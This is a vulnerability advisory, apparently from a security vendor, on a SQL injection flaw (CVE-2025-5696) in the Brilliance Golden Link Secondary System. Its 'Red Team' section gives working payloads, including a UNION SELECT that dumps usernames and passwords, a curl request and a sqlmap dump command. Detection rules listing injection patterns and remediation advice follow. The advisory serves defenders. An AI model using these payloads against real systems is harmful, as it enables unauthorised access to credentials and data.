CVE-2025-5696
Executive Summary
CVE-2025-5696 is a critical SQL injection vulnerability affecting the Brilliance Golden Link Secondary System, specifically in the /storagework/rentChangeCheckInfoPage.htm endpoint. The vulnerability allows unauthenticated remote attackers to inject arbitrary SQL commands via the clientname parameter, leading to potential data exfiltration, modification, or complete system compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available, and the vendor has not responded to the disclosure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a custom web application vulnerability in a proprietary system.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): High (H) – Full database read access possible.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Potential for denial of service via SQL injection.
CVSS Score: 9.8 (Critical)
Threat Level: Critical – Public exploit, no patch, remote unauthenticated access.
Deep Dive & Mechanics
The vulnerability resides in the rentChangeCheckInfoPage.htm page of the Brilliance Golden Link Secondary System. The clientname parameter is directly concatenated into SQL queries without proper sanitization or parameterization. An attacker can inject SQL commands by crafting a malicious clientname value, such as:
' OR '1'='1' --
This breaks out of the intended SQL string context and appends a tautology, potentially returning all rows from the database. More sophisticated payloads can be used for UNION-based data extraction, error-based injection, or time-based blind injection.
The application likely uses a backend database (e.g., MySQL, MSSQL) and does not implement prepared statements or input validation. The lack of authentication on the endpoint makes it trivially exploitable.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
String query = "SELECT * FROM rent_contracts WHERE clientname = '" + request.getParameter("clientname") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
Patched Code (Conceptual):
String query = "SELECT * FROM rent_contracts WHERE clientname = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("clientname"));
ResultSet rs = pstmt.executeQuery();
The patched version uses parameterized queries, preventing SQL injection by separating SQL logic from data.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable instance of Brilliance Golden Link Secondary System (version up to 20250424) in a controlled environment.
- Use a tool like Burp Suite or
curlto interact with the endpoint.
Exploit Payload:
' UNION SELECT null, username, password, null FROM users --
Example curl Command:
curl -X GET "http://target.com/storagework/rentChangeCheckInfoPage.htm?clientname='%20UNION%20SELECT%20null,username,password,null%20FROM%20users--"
Automated Exploitation:
Use sqlmap for automated exploitation:
sqlmap -u "http://target.com/storagework/rentChangeCheckInfoPage.htm?clientname=test" --batch --dump
Blue Team (Defensive)
Detection:
- Monitor HTTP requests to
/storagework/rentChangeCheckInfoPage.htmfor suspiciousclientnameparameters containing SQL keywords (e.g.,UNION,SELECT,OR,--). - Enable web application firewall (WAF) rules to block SQL injection patterns.
- Implement database activity monitoring for anomalous queries.
Honeypot: Deploy a fake endpoint mimicking the vulnerable page to capture attacker payloads.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/storagework/rentChangeCheckInfoPage.htmwithclientnamecontaining SQL metacharacters (',",--,#,;). - Outbound database connections from the web server to unusual IPs (data exfiltration).
- HTTP requests to
- File IOCs:
- Log entries in web server logs (e.g., Apache
access.log) showing SQL injection attempts.
- Log entries in web server logs (e.g., Apache
- System IOCs:
- Unexpected database errors in application logs (e.g.,
SQL syntax error).
- Unexpected database errors in application logs (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_5696_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-5696"
author = "Valters IT"
date = "2025-04-25"
reference = "CVE-2025-5696"
strings:
$sqli1 = "clientname="
$sqli2 = "' OR '1'='1"
$sqli3 = "UNION SELECT"
$sqli4 = "1=1--"
condition:
any of ($sqli*) and #sqli1 > 0
}
Sigma Rule
title: SQL Injection Attempt on Golden Link Secondary System
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects SQL injection attempts against /storagework/rentChangeCheckInfoPage.htm
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "clientname='"
- "clientname=%27"
- "UNION"
- "SELECT"
- "OR 1=1"
condition: selection
falsepositives:
- Legitimate use of apostrophes in names (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-5696 SQL Injection Attempt"; flow:to_server; content:"/storagework/rentChangeCheckInfoPage.htm"; http_uri; content:"clientname"; http_uri; pcre:"/clientname=.*(\%27|%22|'|\").*(OR|UNION|SELECT|--)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: If possible, take the vulnerable endpoint offline or restrict access via firewall rules to trusted IPs only.
- Code Fix: Implement parameterized queries (prepared statements) for all database interactions. Validate and sanitize all user inputs.
- WAF Rules: Deploy a web application firewall with rules to block SQL injection patterns (e.g., ModSecurity CRS).
- Monitoring: Enable detailed logging and alerting for SQL injection attempts.
- Vendor Contact: Attempt to contact Brilliance for an official patch. If unavailable, consider migrating to a different system.
- User Education: Train developers on secure coding practices, especially input validation and prepared statements.
Valters IT
Securing Digital Frontiers